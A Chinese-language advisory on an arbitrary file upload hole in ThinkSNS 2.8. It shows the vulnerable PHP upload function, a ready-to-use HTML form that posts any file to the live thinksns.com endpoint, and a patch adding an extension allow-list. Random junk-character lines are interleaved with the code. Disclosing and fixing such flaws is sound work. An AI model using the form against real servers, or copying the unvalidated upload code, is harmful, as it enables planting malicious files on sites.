ThinkSNS 2.8任意文件上传漏洞及修复

admin

  微博上传图片时只在前端进行验证, 服务器端没有进行安全过滤。

/ `* t& c8 T8 V" m- X: i
\api\StatusesApi.class.php
9 v: ^5 ]" }. _; j3 Z% I  M+ X
function uploadpic(){
      if( $_FILES['pic'] ){
     //执行上传操作
     $savePath =  $this->_getSaveTempPath();
     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
1 m; {' N: k, b6 i# }. A9 A/ I4 ^       {
0 L. d! X& }" G        $result['boolen']    = 1;
4 }  c- v: M( I7 _/ a        $result['type_data'] = 'temp/'.$filename;
, H( z* V# q' S8 c- C        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
6 k$ Y1 O5 |& [2 [       } else {
1 ?' z, v( f" J5 N" _! V) H        $result['boolen']    = 0;
        $result['message']   = '上传失败';
% t8 A" D; z% I( P& {. s, t( F  I       }
     }else{
( T- y0 t& W5 [2 m; }1 i- R         $result['boolen']    = 0;
         $result['message']   = '上传失败';
     }
return $result;
8 t% n; d6 d2 ?# t0 S    }
unloadpic()方法没有对文件类型进行验证
: _! j, o  a  \8 a, L' f( O, u. A
可以构建表单, 选择任意文件, 提交到
' \# G) \! o% R/index.php?app=w3g&mod=Index&act=doPost

, h( \+ U( C, \! g( T! v! X在新提交的微博上可以找到上传的文件地址(去掉small_、middle_ 前缀)
$ m+ M2 R$ W& ~# M1 A' y3 w8 j( m1 d

在登录thinksns官方微博后,
构建以下表单:
0 j. k. M0 S9 {2 M
<form action="http://t.thinksns.com/index.php?app=w3g&mod=Index&act=doPost" method="post" enctype="multipart/form-data" />
/ u& j7 z& {. ]9 {* K' m<textarea name="content">test</textarea>
file: <input id="file" type="file" name="pic" />
& M' e+ Y( o. @  r1 i1 a. P  @% |: G<input type="submit" value="Post" />
' C# p6 o0 o# B, N</form>
8 `3 |4 g3 \+ N去掉缩略图的前缀(small_ )
5 x- y! Q! ]) b, _- P. P​修复方案：
  D; x. x1 ]) z2 G+ |, L7 w( E
. {1 ]/ M+ z; j
\api\StatusesApi.class.php

  h+ j4 j( {/ u+ L2 W$ |* Z) @function uploadpic(){
     /**
+ C& o6 o5 A1 F+ S/ D      * 20121018 @yelo
3 m) N# p; n( u9 d( E5 E, s      * 增加上传类型验证
      */
& h- u9 H2 E2 O8 m9 K     $pathinfo = pathinfo($_FILES['pic']['name']);
. W  o) @+ n9 Z* B6 K     $ext = $pathinfo['extension'];
: f! o% e) r, N6 o $allowExts = array('jpg', 'png', 'gif', 'jpeg');
1 V( ]6 p( b. V: Q% ^2 Q
& r, o  L- T. p, R     $uploadCondition = $_FILES['pic'] && in_array(strtolower($ext),$allowExts,true);

2 l5 J2 b" a# i  V. I( L' ]: K2 v     if( $uploadCondition ){
     //执行上传操作
     $savePath =  $this->_getSaveTempPath();
7 g  X$ O# u/ c1 U. l1 o3 M8 S/ n     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
) @& A4 x* W" {7 v1 [    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
5 i& T) N, S  Y" ?9 z7 H       {
2 l5 V8 F0 M8 F' L& A        $result['boolen']    = 1;
        $result['type_data'] = 'temp/'.$filename;
& n$ i8 G+ M7 l+ f        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
1 U( I1 u2 Y; W       } else {
        $result['boolen']    = 0;
+ X% S0 O1 X& z2 v- S0 A        $result['message']   = '上传失败';
& T' H' P/ U7 E  Q       }
- M7 p( L! d7 z) \) G" q8 A     }else{
2 f+ Z( G1 U% i+ p% G         $result['boolen']    = 0;
, c% M5 |% Q/ n3 A4 P' O/ M2 w% ^         $result['message']   = '上传失败';
$ `3 @6 K9 K, B) m0 [/ c; F( A% C     }
return $result;
    }
' O- g  W# P( d1 O1 W​
, x* @% ^' C* x7 H& c
& P" x8 M7 ]" y! }: r